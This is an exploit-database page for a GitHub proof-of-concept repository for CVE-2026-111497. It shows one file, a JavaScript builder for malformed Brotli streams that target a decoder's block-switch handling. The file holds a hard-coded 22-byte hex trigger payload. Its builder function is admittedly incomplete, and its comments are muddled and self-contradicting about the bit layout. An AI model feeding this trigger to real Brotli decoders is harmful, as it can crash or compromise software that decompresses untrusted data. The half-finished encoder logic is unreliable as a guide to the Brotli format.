Exploit database

GH-b1a007fc5b17c57d4ee7a9a50e8048d4

googlesky/cve-2026-111497

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-111497

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files17
googlesky/cve-2026-111497Revision 1c4b512ae781

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/src/payload-builder.js

JavaScript · 6,818 bytes
// CVE-2026-111497 — Brotli payload builder
// Generates valid Brotli streams with the invalid block-switch condition
'use strict';

// Brotli bit writer (LSB-first)
class BitWriter {
  constructor() { this.bits = []; }
  write(value, nbits) {
    for (let i = 0; i < nbits; i++) this.bits.push((value >> i) & 1);
  }
  // Huffman code: MSB of code read first => write code bits in reverse order
  writeHuffman(code, nbits) {
    for (let i = nbits - 1; i >= 0; i--) this.bits.push((code >> i) & 1);
  }
  bytes() {
    const out = Buffer.alloc(Math.ceil(this.bits.length / 8));
    this.bits.forEach((b, i) => { if (b) out[i >> 3] |= 1 << (i & 7); });
    return out;
  }
  get length() { return this.bits.length; }
}

// Simple prefix code: symbol values, code lengths are implicit (sorted by value)
// codes assigned canonically: sorted symbols get codes 0,10,110,... in order
function writeSimplePrefixCode(w, symbols) {
  const n = symbols.length;
  w.write(n - 1, 2); // NSYM-1
  // symbols are written as 8-bit values, sorted
  const sorted = [...symbols].sort((a, b) => a - b);
  for (const s of sorted) w.write(s, 8);
  if (n === 4) w.write(0, 1); // tree-select bit: 0 (not used)
  // Code lengths:
  // 1 symbol: length 0 (reads zero bits)
  // 2 symbols: length 1 each, codes 0 / 1
  // 3 symbols: lengths 1,2,2; codes 0 / 10 / 11
  // 4 symbols (tsel=0): lengths 2,2,2,2; codes 00,01,10,11
  return { count: n, sorted };
}

// codeFor returns {code, len} for a symbol given the simple code layout
function simpleCodeFor(symbol, sorted) {
  const idx = sorted.indexOf(symbol);
  const n = sorted.length;
  if (idx < 0) throw new Error(`symbol ${symbol} not in code`);
  if (n === 1) return { code: 0, len: 0 };
  if (n === 2) return { code: idx, len: 1 };
  if (n === 3) return [{code:0,len:1},{code:0b10,len:2},{code:0b11,len:2}][idx];
  if (n === 4) return { code: idx, len: 2 };
  throw new Error('unsupported');
}

// Insert-and-copy length code: value 0 => insert 0, copy 4 (implicit dist 0)
// Symbol 0 in the 704-symbol alphabet = insert length code 0, copy length code 0,
// distance implicit zero. We'll use explicit: symbol 64 = insert code 0, copy code 4?
// Actually: symbol = insert_code*8 + copy_code within each 64-symbol cell...
// Simplest: use symbol 0 = {insert:0, copy:4, implicit dist0 (last distance)}
// but we need an explicit distance symbol so we can trigger a distance block switch.
// Use symbol 24 = insert code 3 (len 4), copy code 0 (len 2)? Let's just use:
//   symbol 0  -> insert 0, copy 2, implicit distance (dist rb) — avoid for distance switch
//   We need explicit distance: any symbol where copy uses explicit distance.
//   Symbol with copy_code != 0 uses explicit distance. Symbol 8 = ins 0, copy code 1 (len 3), explicit.
// For distance symbol 0 => distance = 1.

function buildTrigger() {
  const w = new BitWriter();

  // ── Stream header: WBITS = 22 ──
  // WBITS encoding: value 22 => bits '1000001' (7 bits: bit0=0 then 6-bit value 22? )
  // Per RFC: WBITS: if first bit 0 => 16. Else read more bits.
  // WBITS=22: bits (LSB first): 1, then value 5 in 3 bits => 0b1011? Let's use WBITS=16 for simplicity: single bit 0.
  w.write(0, 1); // WBITS=16 (single zero bit)

  // ── Metablock header ──
  w.write(0, 1);          // ISLAST = 0
  w.write(0, 2);          // MNIBBLES = 4 (encoded as 0)
  w.write(49, 16);        // MLEN-1 = 49 => MLEN = 50
  // ISUNCOMPRESSED not present (ISLAST=0)

  // ── Block counts ──
  // NBLTYPESL = 1: code '0' (1 bit)
  w.write(0, 1);
  // NBLTYPESI = 1: code '0'
  w.write(0, 1);
  // NBLTYPESD = 1: code '0'
  w.write(0, 1);

  // ── Trees for literals (NBLTYPESL=1 → no block-switch trees, no context modes per spec?
  // Actually context modes ARE read per literal block type) ──
  // Context modes for literal block type 0: 2 bits. 0 = LSB6
  w.write(0, 2);

  // NTREESL (number of literal prefix trees): read as simple prefix code over value+1.
  // We want NTREESL = 1 → symbol value 0.
  // Simple prefix code with 1 symbol: NSYM=1
  w.write(0, 2);   // NSYM-1 = 0 → 1 symbol
  w.write(0, 8);   // symbol 0 → NTREESL = 1
  // (code length 0, no bits to read the symbol)

  // Context map for literals: size = 64 * NTREESL = 64
  // RLEMAX: 1 bit = 0 (no run-length coding)
  w.write(0, 1);
  // Prefix code for context map, alphabet = NTREESL + RLEMAX = 1
  // 1 symbol (value 0): NSYM=1
  w.write(0, 2);
  w.write(0, 8);
  // All 64 context map entries = 0 (symbol has zero code length)

  // ── Trees for insert-and-copy (NBLTYPESI=1) ──
  // No block switch trees. Just the hgroup.
  // NTREESI = 1
  w.write(0, 2);   // simple code, 1 symbol
  w.write(0, 8);   // symbol 0
  // Context map for distances comes AFTER literal hgroup...

  // ── Literal prefix code group ──
  // Alphabet 256. Simple code with 2 symbols: e.g. 'A' (65) and 'B' (66)
  w.write(1, 2);    // NSYM-1 = 1 → 2 symbols
  w.write(65, 8);   // 'A'
  w.write(66, 8);   // 'B'
  // codes: 'A'→0 (1 bit), 'B'→1 (1 bit)

  // ── Insert-and-copy prefix code group (alphabet 704) ──
  // 2 symbols: symbol 8 (insert 0, copy code 1 → copy len 3, explicit distance)
  //            symbol 0 (insert 0, copy code 0 → copy len 2, implicit distance)
  w.write(1, 2);   // NSYM-1 = 1 → 2 symbols; symbols are 16-bit (alphabet 704 > 256, so 2 bytes each?
  // Per spec: simple code symbols are read with (alphabet_bits) bits where alphabet_bits = ceil(log2(alphabet_size))
  // For 704: alphabet_bits = 10? Actually spec says symbols use 8 bits for literals,
  // and for larger alphabets "values read with the appropriate number of bits" — it's 16 bits for 704?
  // Spec section: simple prefix codes read NSYM symbols each with "alphabet bits" = ceil(log2(max alphabet)).
  // For 704 → 10 bits. Hmm — but the C implementation reads 16? Let's check: in decode.c,
  // simple code reads symbols with BROTLI_HUFFMAN... it reads bits = alphabet_size bits?
  // Actually it uses: symbol = BrotliReadBits(br, bits) where bits = log2ceil(alphabet_size_max)
  // For 704 → 10 bits.
  w.write(8, 10);  // symbol 8: insert len code 1? wait symbol = ins_code*8 + copy_code...

  return w.bytes();
}

// The above is incomplete — the real builder needs exact bit layout.
// Use the known-good 22-byte trigger instead and document its structure.
const KNOWN_TRIGGER = Buffer.from('200010414141fcffff07002228f00b60f7f41f000000', 'hex');

module.exports = { BitWriter, buildTrigger, KNOWN_TRIGGER };

if (require.main === module) {
  console.log('known trigger:', KNOWN_TRIGGER.toString('hex'));
  try {
    const p = buildTrigger();
    console.log('built:', p.toString('hex'), `(${p.length} bytes)`);
  } catch (e) {
    console.error('builder error:', e.message);
  }
}